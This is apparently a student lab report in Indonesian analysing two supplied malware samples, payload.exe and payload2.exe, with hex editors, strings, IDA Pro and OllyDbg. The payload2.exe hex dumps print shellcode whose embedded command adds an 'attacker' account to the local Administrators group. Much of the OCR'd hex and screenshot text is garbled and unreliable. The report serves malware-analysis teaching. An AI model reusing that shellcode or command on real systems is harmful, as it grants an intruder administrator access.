TUGAS KEAMANAN JARINGAN KOMPUTER



Nama : Dede Triseptiawan Nim : 09011181320001

SISTEM KOMPUTER FAKULTAS ILMU KOMPUTER UNIVERSITAS SRIWIJAYA 2017 Analisa malware

Analisa malware adalah suatu aktivitas yang kerap dilakukan oleh sejumlah praktisi keamanan teknologi informasi untuk mendeteksi ada atau tidaknya komponen sub program atau data yang bertujuan jahat dalam sebuah file elektronik.

Ada dasarnya malware adalah sebuah program, yang disusun berdasarkan tujuan tertentu dengan menggunakan logika dan algoritma yang relevan dengannya. Oleh karena itulah maka model analisa yang biasa dipergunakan untuk mengkaji malware sangat erat kaitannya dengan ilmu dasar komputer, yaitu: bahasa pemrograman, algoritma, struktur data, dan rekayasa piranti lunak.

Pada saat ini, sudah tersedia berbagai macam software yang dapat digunakan untuk melindungi komputer / jaringan komputer dari serangan malware, diantaranya : antivirus, firewall, ids, internet protection dan lain-lain. Namun kecanggihan dari software tersebut, umumnya dapat dilewati menggunakan teknik-teknik tertentu sehingga software tersebut tidak dapat mendeteksi adanya aktivitas malicious program yang sedang berjalan.

Ada dua metode untuk melakukan analisa terhadap malware, yaitu :

- 1. **Dynamic Analysis** : Merupakan metode yang digunakan untuk melakukan analisa terhadap malware dengan mengamati kinerja sistem yang dapat terlihat dari perilaku sistem sebelum malware dijalankan dengan perilaku sistem setelah malware tersebut dijalankan pada sistem tersebut. Metode dynamic analysis umumnya menggunakan software virtual seperti VirtualBox, VMWare dan lain-lain, sehingga apabila malware yang dijalankan tersebut ternyata merusak sistem, maka sistem utama tidak mengalami kerusakan akibat malware tersebut.
- 2. **Static Analysis** : Merupakan metode yang digunakan untuk melakukan analisa malware dengan cara mengamati secara langsung kode sumber (source code) malware tersebut. Dalam mengamati kode sumber malware, terdapat teknik yang umumnya digunakan, yaitu Reverse Engineering.

Sebagai uji coba, digunakan bahan yang telah diberikan berupa payload.exe, dan payload2.exe . Dan tools yang digunakan untuk menganalisa bahan yang diberikan berupa ghex, hexdump, strings, ollydbg, dan ida pro.Ghex berguna untuk debugging masalah dengan

kode, dan untuk memuat data dari file, melihat dan mengedit hex dan ascii. Hexdump fungsinya sama dengan ghex untuk melihat kode hex yang ada pada file tersebut, beda dengan ghex tampilan berbentuk gui. Strings befungsi untuk melihat program/ perintah-perintah dalam sebuah file. Ollydbg berfungsi untuk debugging / debug dan melakukan dumping, serta melakukan pengintaian proses apa saja yang terjadi pada sebuah program. Ida pro adalah piranti bantuan untuk melakukan debug dengan melihat kode program dalam bentuk assembler.

Pertama yang dilakukan membuka file yang diberikan



Terdapat 2 file pada gambar di atas berupa payload.exe dan payload2.exe. kemudian kita coba terlebih dahulu payload.exe. dengan cara klik kanan pada file tersebut dan open with dengan ghex.

payload.exe - GHex 🕒 🖨 🕲
File Edit View Windows Help
0000000040 5A 90 00 03 00 00 04 00 00 0F FF 00 00 B8 00 00 00 00 00 00 00 00 00 00 00 00 00
0000001F00 00 00 00 00 00 00 00 00 00 00 00 00
0000003E00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61
0000005D6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 nnot be run in DOS mode\$
0000007C 00 00 00 00 93 38 F0 D6 D7 59 9E 85 D7 59 9E 85 D7 59 9E 85 AC 45 92 85 D3 59 9E 85 54 45 908YYYYYEYTE.
0000009B 85 DE 59 9E 85 B8 46 94 85 DC 59 9E 85 B8 46 9A 85 D4 59 9E 85 D7 59 9F 85 1E 59 9E 85 54 51
000000BAC3 85 DF 59 9E 85 83 7A AE 85 FF 59 9E 85 10 5F 98 85 D6 59 9E 85 52 69 63 68 D7 59 9E 85 60YzYP
00000000000000000000000000000000000000
000000F8 00 00 00 00 E0 00 0F 01 0B 01 06 00 00 B0 00 00 00 00 00 00 00 00 00 00
00000117 00 00 C0 00 00 00 00 00 00 00 10 00 00 10 00 00
0000013600 00 00 60 01 00 00 10 00 00 00 00 00 00 00 00 00
0000015510 00 00 00 00 00 00 10 00 00 00 00 00 0
00000174C8 07 00 00 00 00 00 00 00 00 00 00 00 00
Signed 8 bit: 0 Signed 32 bit: 1024 Hexadecimal: 00
Unsigned 8 bit: 0 Unsigned 32 bit: 1024 Octat: 000
Singed 16 bit: 1.024 Elect 30 bit: 1.424030a.42 Elect 30 bit: 1.424030a.42
Signed 10 tht. 1024 Float 22 tht. 1,434930642 Binaly, 0000000
Unsigned 16 bit: 1024 Float 64 bit: 7,290232e-304 Stream Length: 8 - +
Show little endian decoding Show unsigned and float as hexadecimal
Offset: 0x7; 0x8 bytes from 0x0 to 0x7 selected
🕞 menu 🛅 🔄 😨 😨 🚰 Pictures 🔰 payload.exe - GHex 🛛 🔄 (/bin/bash) 💿 File Signatures - Go 52.0°C 🖬 🗜 🖬 🍋 🏧 🌉 🔠 🚳 🚞

Berikut tampilan pada ghex, terdapat kode yang diblok berupa 4D 5A 90 00 03 00 00 00 dan

kode sebelahnya MZ..... kemudian kita cari di list of file signiture



File MZ..... merupakan jenis file yang hanya tersedia untuk windows dan berjenis aplikasi API(acrobat plug-in), AX(directshow filter) dan FLT(audition graphic filter file(adobe)). Kemudian kita coba file payload2.exe

bayload2.exe - GHex	••*
e Edit View Windows Help	
0000000 IC C E8 82 00 00 00 60 89 E5 31 C0 64 88 50 30 88 52 0C 88 52 14 88 72 28 0F B7 4A 26 31 FF AC 000001F3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F2 52 57 88 52 10 88 4A 3C 88 4C 11 78 E3 48 01 D1 51 88 0000025 59 20 01 D3 88 49 18 E3 3A 49 88 34 88 01 D6 31 FF AC C1 CF 0D 01 C7 38 E0 75 F6 03 7D F8 38 YRW.R.J<.L.x D\$ 0000007C59 5A 51 FF E0 5F 5F 5A 88 12 EB 8D 5D 6A 01 8D 85 82 00 00 00 56 68 31 88 6F 87 FF D5 8B F0 000008DB5 A2 56 68 A6 95 BD 9D FF D5 3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F 6A 00 53 FF D5 63 6D 000008DB5 42 56 57 82 D2 F6 32 06 E6 57 42 07 57 36 57 22 06 17 47 46 16 36 E6 57 22 07 47 61 E6 74 000000056 56 E6 73 12 02 FF 41 44 44 20 26 26 20 6E 65 74 20 6C FF 63 61 6C 67 72 6F 75 70 20 41 64 6D 000000F869 6E 69 73 74 72 61 74 6F 72 73 20 61 74 74 61 63 6B 65 72 20 2F 41 44 44 00 00000F869 6E 69 73 74 72 61 74 6F 72 73 20 61 74 74 61 63 6B 65 72 20 2F 41 44 44 00	&1 Q. .}.; \$[[a Gant Adm
Signed 8 bit: -4 Signed 32 bit: 8579324 Hexadecimal: FC	
Unsigned 8 bit: 252 Unsigned 32 bit: 8579324 Octal: 374	
Signed 16 bit: -5892 Float 32 bit: 1,202219e-38 Binary: 1111100	
Unsigned 16 bit: 59644 Float 64 bit: -1,587866e-263 Stream Length: 8	- +
Show little endian decoding	
ffset: 0x0	
- menu 💼 🖼 👩 🧔 📃 🔀 (/bin/ba 🕻 Window 🗋 (Untitle 🌀 Welcom 🧔 (Bab 8 🚞 Home 👘 payloads 😓 payloads 🛛 61.0°C 🖬 🤱 🛄 👘 🖑 🦉 👘 🔭 💆 100%	15:29 🖵

Berikut pada gambar diatas hasil kode hex pada file payload2.exe. kemudian kita lakukan

dengan perintah di terminal strings payload.exe



Maka akan keluar seperti gambar diatas, kemudian kita lakukan ke file selanjutnya



Maka akan tampil seperti gambar diatas. Kemudian kita lakukan perintah pada terminal dengan perintah hexdump payload.exe

/bin/bash	008
Din/ba	ash 168x40
000eb70 2020 2020 652d 6620 6c69 6e65 6d61 2065 000eb80 2020 2020 754T 7074 7475 4320 5653 6620 000eb80 6c50 2026 6977 6874 7020 7255 5563 746e 000eb80 6c761 7365 7320 7265 6576 0a64 0000 0000 000ebb0 2020 2020 672d 6620 6c69 6e55 6d61 2065 000ebd0 7463 6465 6420 7461 2061 6f74 6720 756e	17 ²³ Rabu, 5 April
00000000 5670 7467 6520 7267 6126 2074 6966 5560 0000010 2020 5020 5020 2020 2020 5322 2020 0000010 746f 7320 6f68 2077 6f53 6666 6469 6e65 00000010 746f 7320 6f68 2077 6f53 6666 6469 6e65 00000020 6563 6520 7473 6609 7461 726f 2073 6e61 00000020 2020 6424 2020 2020 2020 2020 2	
000ec50 2020 2020 6f44 6e20 746f 7320 6f68 2077 000ec60 6f76 6572 6655 6974 656c 2027 6573 7672 000ec70 6465 7420 6261 656c 0a2e 0000 2020 2020 000ec60 6624 2020 2020 2020 2020 2020 2020 000ec90 7355 2065 5448 5054 4020 20565 4170 606c 000ec80 6575 6620 6105 7574 6572 000a 2020 2020 000ec80 6576 6620 6105 7574 6572 000a 2020 2020	
000ecc0 7250 6e69 2074 6576 7372 6f69 2066 736e 000ecc0 7250 6e69 2074 6576 7372 6f69 2066 736e 000ecc0 2202 0220 520 7020 6f72 7978 7033 726f 000ecc0 2072 0220 5220 7020 6f72 7978 7033 726f 000ecc0 2074 2020 7250 786f 7379 7265 6576 2072 000ecd00 6e61 2064 6f70 7472 6e20 6d75 6562 2072 000ed010 6f74 7520 6573 000a 2020 2020 502d 6120	
000ed20 7474 6972 7562 6574 2020 2020 6441 2064 000ed30 6142 6973 2063 7250 7865 2079 7541 6874 000ed40 6e65 6974 6163 6974 6e6f 202c 6874 2065 000ed50 7461 7274 6269 7475 7365 000a 0000 0000 000ed60 2020 2020 2020 2020 2020 2020 2020 000ed70 2020 2020 7261 2065 2061 6f63 6f6c 206e	
000ed80 6573 6170 6172 6574 2064 7375 7265 616e 000ed90 6566 6120 646e 7020 7361 7773 726f 2e64 000ed30 606a 0000 0000 0000 2020 2020 412d 6120 000edb0 7474 6972 7552 6574 2020 2020 441 2054 000edc0 6142 6973 2063 5757 2057 7541 6874 6e65 000edd0 6974 6163 6974 6e6f 202c 6874 2065 7461 000edde 7274 6269 7475 7365 000a 0000 0000 0000	
💿 menu 🥅 🕅 👩 🔕 🗊 (TUGAS (~/Downloa 🚳 (File Signatures - Go 🗖 (Windows XP Profes	▼/bin/bash 52.3°C L 「1 40) CRU (2 MET Disk ■ 28% 17:23 日

Maka akan keluar seperti gambar diatas, kemudian kita lakukan ke file satunya.

/bin/bash	888
R /bin/bash 168x40	
deeddee-K46CB ~/Downloads/TUGAS/payloads \$ hexdump payload2.exe Deeddee C45C 6082 0000 8366 31e5 64c0 508b 8030 0000010 6452 528b 81h 2872 h704 264a ff31 3cac 0000020 7c51 2c02 c120 0dcf c701 f2e2 5752 528b 0000040 d510 3c4a 4c8h 7811 48e3 1018 8b31 2659 0000040 d510 3c4a 4c8h 7811 48e3 1018 8b31 2659 0000060 6510 408b c318 493a 348b 018b 31d6 acff 0000050 6564 588b 0124 66d3 8c5b 8b4b 1c58 d301 0000080 5606 58e4 588b 0124 66d3 8c5b 8b4b 1c58 d301 0000080 5606 58e4 588b 0124 66d3 8c5b 8b4b 1c58 d301 0000080 5606 53s1 128b 8deb 63s1 6401 b285 0000 0000080 5608 51 f691 3c7c66 808e e61b 6757 47bb 0000080 5169 3c7c6 5708 e61b 577 4765 0265 0000080 51765 3726 5720 6e21 5574 78b 0000080 5726 5720 5673 2072 7461 6174 0000080 444 2620 2026 656e 2074 6f5c c163 676c 0000016 07267 2073 7461 6174 6b63 7265 2720 4441 000010 0744 2037 7461 6174 6b63 7265 2720 4441 000010 0744	17 ²⁴ _{Rabu, 5 April}
dee@dee-K46CB ~/Downloads/TUGAS/payLoads \$	
🔎 menu 🔚 🖼 🚺 🌀 🥪 📓 [TUGAS (~/Downloa 🎯 [File Signatures - Go 🗊 [Windows XP Profes 🗵 /bin/bash	52.7°C 👝 🎍 🖬 🕪 🤔 🧨 📩 🚔 27% 17:24 🖵

Maka akan keluar file hex seperti diatas. Kemudian kita buka tools virtual machine pada hal ini menggunakan vmware dan menggukan windows xp sebagai sistem operasi untuk menjalankan tools ollydbg dan idapro. Dan berikut hasil untuk payload.exe



💦 IDA - C:\Documents and Settings\Ad	WinGraph32 - Graph of start		🔳 🖬 🗙
File Edit Jump Search View Debugge	File View Zoom Move Help		
i 🦰 🔚 i 🌤 - 🔿 - i 🛍 🖏 🍓			
		~	:
Library function 📃 Data 📃 Regular func	internit : Caralia Caralia		
📝 Functions window 🛛 🗗 🗄	fre aas ere		Exports 🗵
Function name	who way, way with		
📝 sub_404310	fine adde		
f sub_404494	and Marine Service Ser		
<u>f</u> sub_404C69			
f sub_404D4F	lang aau, aat		
7 SUD_404DSD			
f ctart	dec eck otg		
f sub 405AC0			
f sub_408C70	sas anda to	-	
f sub_40A940		H	
	inc abx	_	
	and to addy		
<u>< </u>	alta data data data data data data data		
	badhag daau, daau cha		
🚠 Graph overview 🗆 🖻			
	serge acus, aces Tre adv		
	ldec sbx		
ΙΎ	No adk		
	NATE ALL, day		
¥ •			
		×	
×.		>	
0	51.28% (0,17) 2 nodes, 2 edge segments, 0 crossings		
	100.00% (-347,-138) (778,185) UNENOWN FFFFFFFF: FFFFFFFF (Synchronized with Hex View-1)		
Output window			□ 8 ×
The initial autoanalysis has b	een finished.		
Python			
AU: idle Down Disk: 76B			
start IDA - C:\Documents	WinGraph32 - Graph		🔇 🔤 🌺 🧐 5:11 PM

Pada gambar diatas merupakan alur (flowchart) graph yang tersedia pada aplikasi ida pro

IDA - C:\Documents and Settings\Administr	rator\Desktop\TUGAS_kjk\TUGAS\payloads\payloads\payload.exe	- 7 🛛
File Edit Jump Search View Debugger Opti	tions Windows Help	
i 📂 🔒 i 🗢 🕆 🖮 🛍 🏙 🐴 🔖 🖡	😠 🖾 🕰 🖆 🚓 🖈 🔹 🧩 📾 🗙 i 🕨 💷 🗈 No debugger 🛛 💌 📷 😭 🐨	
		~
Library function Data Regular function	Unexplored Instruction External symbol	
🕇 Eurotions window 🛛 🗗 🕏 🗙	The Minute T A Have Manual T A Structures T T Fourier T We Importe T F Fourier	
Eurotico parce		~
F sub 404310	.text:00401000 ; +	
f sub_404494	_text:00401000 ; This file has been generated by The Interactive Disassembler (IDA)	
f sub_404C69	.text:00481000; License info: 48-B611-7234-BB	
f sub_404D4F	.text:00401000; Doskey Lee, Kingsoft Internet Security Software	
f sub 404E30	.text:00401000 ;	
📝 start	.text:00401000; Input MD5 : 419FB002C04C937B45003FFFA0A7C238	
🗾 sub_405AC0	.text:00401000 ; Input CRC32 : 1605E089	
f sub_408C70	.text:00401000 ;	
[7] SUB_40A940	.text:00401000; File Name : C:\Documents and Settings\Administrator\Desktop\TUGAS_kjk\TUGAS\payloads\payloads	3\payload.exe
	.text:00401000; FUTHAL : FUTHAL EXECUTABLE FUT 80380 (FE)	
	.text:00401000 ; Section 1. (virtual address 00001000)	
	.text:09401000 ; Virtual size : 00000906 (43366.)	
	.text:00401000 ; 3cftset to raw data for section: 00001000	
	.text:00401000 ; Flags 60000020: Text Executable Readable	
	.text:00401000; Alignment : default text:00401000 - PDR_FileName - C:\local0\asf\release\huild=2 2 1/\sunner\Release\ab ndb	
	.text:06401000	
	.text:00401000 include uni.inc ; see unicode subdir of ida for info on unicode	
	. LEXT: 00401000	
	.text:00401000 .mmx	
	.text:00401000 .model flat	
	.text:00401000; ;	
< >	00001000 00401000: .text:00401000 (Synchronized with Hex View-1)	~
		>
Output window		08×
The initial autoanalysis has been f	finished.	-
Python		
AU: idle Down Disk: 7GB		
Start TDA - C:\Documents		🏧 🕵 🦁 5:14 PM

Pada gambar diatas merupakan hasil convert file tersebut dalam assembly

💱 IDA - C:Wocuments and SettingsVAdministrato	r'Desktop\TUGAS_kjk\TUGAS\payloads\payloads\payload.exe	đΧ
File Edit Jump Search View Debugger Options	Windows Help	
i 📂 🖬 i 🗢 - 🔿 - i 🛍 🏪 🍓 🐥 🗼 👧	🖾 🚇 📷 📸 🚮 📌 - 🦑 📸 🗙 🐘 💷 🗖 No debugger 🔤 👻 🔯 🚰 🎬 🚰 🎬	
		~
Library function 📃 Data 📒 Regular function 📕 Une:	xplored I Instruction External symbol	
🕝 Functions window 🛛 🗗 🗙 📑	IDA View-A 🛛 🖸 Hex View-1 🔀 🖪 Structures 🗵 🗮 Enums 🛛 🕎 Imports 🔝 📝 Exports 🔍	
Function name	WinGraph32 - Call flow of payload.exe	^
f sub_404310	File View Zoom Move Help	
f sub_4040994		
f sub_101C05		
f sub_404D5D		
f sub_404E30		
f sub 405AC0	ada_94059 auto_44659	
f sub_408C70		
f sub_40A940		
	H:P:A:g:X"	
<		~
		>
Output window		1 & ×
The initial autoanalysis has been find		-
Python		
AU: idle Down Disk: 7GB	×	
🐉 start 👔 👔 IDA - C:\Documents 📄 w	inGraph32 - Califio 🤇 🔎 👯 🕲 5	:15 PM

Berikut pada gambar diatas hasil graph alur pada payload.exe

IDA - C:\Documents and Settings\Adminis	strator/Desktop/TUGAS_kjk/TUGAS/payloads/payloads.exe	- 7 🛛
File Edit Jump Search View Debugger O)ptions Windows Help	
i 📂 🔚 i 🗢 - 🔿 - i 🛍 🏝 🦀 🖡	> 🔬 🐘 🖸 🕑 🗄 蕭 ش 🕼 🖈 - 孝 🧰 🗙 🐌 🔟 🗔 No debugger 🛛 💌 🍖 🛃 😭 🔭	
		~
Library function Data Regular function	Inevolved Totruction External symbol	
	LE IDA View-A 🖸 💟 Hex View-1 🚺 🖪 Structures 💟 🔁 Enums 💟 😭 Imports 🖾 🚰 Exports 💽	
Function name	094411031 4D 08 50 51 C7 05 F0 17 41 00 A6 D2 78 00 88 28 N.PU; = A.ª-{.e(08044141 E2 C9 bit EE E0 6 br 06 br 06 A6 EE 66 EE F6 7E D7 D9 patronesi ba 6744	^
<u>f</u> sub_404310	BOARDEN 1 CB 00 AR 23 C4 04 38 53 53 68 4C 49 41 BF F8 FC	
<u>f</u> sub_404494	08481861 09 20 08 88 55 03 F2 45 08 D3 85 4C 40 41 92 52 IU.=E.+àLGAAR	
f sub_404C69	80481871 互 8D 55 F4 51 52 E8 44 4A 68 89 BF 55 DD 8D 45 P.U(QRFDJ+U).E	
f sub_404D4F	88481881 FC 8D 4D FB 50 51 68 14 D2 48 80 52 E8 DE A9 88 n.MuPQh@.RF	
f sub_404D5D	00401091 00 85 C0 0F 4F B2 C5 00 00 8B 35 68 C1 40 00 0F .à+.0;+i5h-@.	
f sub_404E30	100401001 BE 8D 42 83 C0 63 83 F8 39 0F 87 66 04 00 00 33 + Ba+ca 9, cf3	
📝 start	004010051 CH 8H 88 8F 17 40 00 9H 24 8D 98 92 40 00 8B 55 - ee. Le.U.S. URMALIU	
f sub_405AC0	80491101 F 52 21 15 05 51 49 99 63 54 95 20 53 H3 19 90 HR; 1-Ted - Ketu - 80491101 J8 32 65 FS 30 05 80 68 65 FS 11 J8 80 62 35 66 62 1= 8°-3 5	
I sub_408C70		
f sub_40A940	094010F1 00 E9 1F 04 00 00 89 EF BC D0 40 00 E9 14 04 00 .T en+-0.T	
	00401101 20 88 45 FC 50 C7 15 6C C1 B9 00 FA 18 D0 40 00 - IEnP!.1-!@.	
	00401111 E9 FD 2F 00 00 8B 4D FC 51 FF 15 6C C1 40 2F A3 T²/HnQ .l-Q/ú	
	00401121 6C 02 41 00 E9 E9 03 00 00 39 1D 53 02 41 00 7E 1.A.TT9.S.A.~	
	09401131 0D 68 D8 FD 40 00 50 14 1C 00 00 83 C4 6F C7 1F .h+*@.Pā-oļ.	
	100401141 05 00 41 41 FF FF FF FF E9 C8 03 05 05 05 55 FC	
	00404144 00 b0 17 b0 00 40 00 13 08 FF // 00 E9 5H 03 00 N*.6.0.4*00.12	
	B0/B1/17 FF 15 C0 C1 (P F2 03 FB 17 H 86 F0 26 88 88 + +-PL 1 a T6	
	Baba1181 57 1D ED 16 E2 68 E9 80 63 68 68 30 10 68 82 41 W 2.) A	
	88481191 88 74 80 50 BC D1 82 95 E8 ED 24 39 88 83 C4 78 .t.1+ ∂Ff\$9.â-{	
	004011A1 88 40 FC 51 E8 86 35 02 00 83 C4 04 38 C3 75 0F 1Mn0F35	
	004011B1 C7 05 60 04 41 00 01 00 00 2A 3F 03 00 00 39 A A A A A A A A A A A A A A A A A A A	
	004011C1 1D 20 E0 FD 00 0F 84 4A 03 00 00 50 FF 15 70 C1a ² aJPp-	
	004011D1 40 00 39 1D 60 93 41 00 74 0D 68 A0 3F 51 00 E8 0.9. ôA.t.há?Q.F	
	004011E1 68 05 00 00 83 C4 04 88 55 03 52 E8 3F CC 00 47 kaiu.RF?!.G	
	0004011F1 83 C4 04 38 C3 75 0F F9 93 00 02 41 00 02 00 F8 a;+UO.H	
	80481281 88 87 70 85 88 88 80 10 10 29 56 41 85 85 64 85 85 17	
< >	00001211 00 00 Join 15 10 01 00 00 01 05 20 02 11 00 01p e.j.m.n	
	200001071 00401071: .text:00401071 (Synchronized with IDA View-A)	~
Output window		□ & ×
Command "ChartXrefsTo" failed		-
Python		
AU: idle Down Disk: 7GB		
Start TDA - C:\Documents	Contraction of the second s	👂 5:16 PM

Pada gambar diatas merupakan hasil hex pada aplikasi ida pro. Kemudian kita lakukan pada file satunya payload2.exe

💱 IDA - C:\Documents and Settings\Administr	rator/Desktop/TUGAS_kjk/TUGAS\payloads\payload2.exe
File Edit Jump Search View Debugger Opt	tions Windows Help
i 📂 📊 i 🦛 - 🔿 - i 🐴 🌴 🐁 🔖 🖡	😠 🗖 🗶 📾 🎰 💣 📌 🔹 🗶 🗈 🗖 🗖 No debugger 🛛 🔍 👘 🔁 👔 🕈
Library function Data Regular function	Unexplored Instruction External symbol
F Functions window	📳 IDA View+A 😫 🖸 Hex View-1 😰 🖪 Structures 😢 🗄 Enums 😢 📸 Imports 😢 📝 Exports 😒
Function name	seg000:0100 ;
[f] sub_10166	segue: 1000 ; This file has been generated by The Interactive Disassembler (IDA) segue: 1000 ; Copyright (c) 2015 Hex-Rays, <support tehex-rays.com)<br="">segue: 1000 ; Doskey Lee, Kingsoft Internet Security Software segue: 1000 ; Dostey Lee, Kingsoft Internet Security Software segue: 1000 ; Dostey Lee, Kingsoft Internet Security Software segue: 1000 ; Dostey Lee, Kingsoft Internet Security Software segue: 1000 ; Seguent type: Pure code segue: 1000 ; Seguent type: Pure code segue: 1000 assume es:nothing, ds:segue00, fs:nothing, gs:nothing segue: 1000 assume es:nothing, ds:segue00, fs:nothing, gs:nothing segue: 1000 assume es:nothing, ds:segue00, fs:nothing, gs:nothing segue: 1000 start: segue: 1000 cld</support>
	00000000 00010100: seg000:start (Synchronized with Hex View-1)
Output window	_ # ×
The initial autoanalysis has been f	Finished. 🔮
Python	
AU: idle Down Disk: 7GB	
Start NDA - C:\Documents	(୧) ଲା ଷ୍ଟୁ ଓ 5:16 PM

Pada gambar diatas merupakan hasil convert assembly pada file payload2.exe

💱 IDA - C: Wocuments and Settings \Admini	stratorWesktop\TUGAS_kjk\TUGAS\payloads\payloads\payload2.exe	- 7 🛛
File Edit Jump Search View Debugger (Dptions Windows Help	
i 🦰 🗖 i 🗢 - 🔿 - i 🛍 🛍 🦓 🔰	- Ka 🗛 🕒 📾 🏙 💣 📌 🦛 🗙 🐘 🔍 🗆 No debugger 🛛 🔍 🔞 🚰 👔 🚏 🏠	
		:
Library function Data Regular function	Unexplored Instruction External symbol	
f Functions window	I LE IDA View-A 🛛 🕐 Hex View-1 🔯 🖪 Structures 😒 🔃 Enums 🖄 🐚 Imports 😒 😭 Exports 🗵	
Function name	11090:01109 BY E8 82 00 00 00 00 89 E5 31 C0 64 88 50 30 88 nFe es1+d1+01 11000-0110 52 0C 88 52 14 88 72 28 0F B7 40 26 31 FF AC 3C 8 78 77C +121-32	<u>^</u>
Ţ sub_luiso	1909:0120 61 7C 82 2C 20 C1 CF 80 81 77 E2 F2 52 57 88 52 a]	
	00000000 00010100; see000; start (Smalwanized with TDA View-A)	
🗖 Output window		<u>×</u>
The initial autoapalucic has been	Finished	U B X
Python	TINISHEU.	<u> </u>
AU: idle Down Disk: 7GB		
Start IDA - C:\Documents		🔇 🔤 🕵 🦁 5:16 PM 🛛

Pada gambar diatas merupakan hasil hex pada file payload2.exe



Pada gambar diatas merupakan hasil graph pada payload2.exe. kemudian kita gunakan aplikasi ollydbg



Pada gambar diatas merupakan hasil dari file payload.exe



Pada gambar diatas merupakan hasil dari file payload2.exe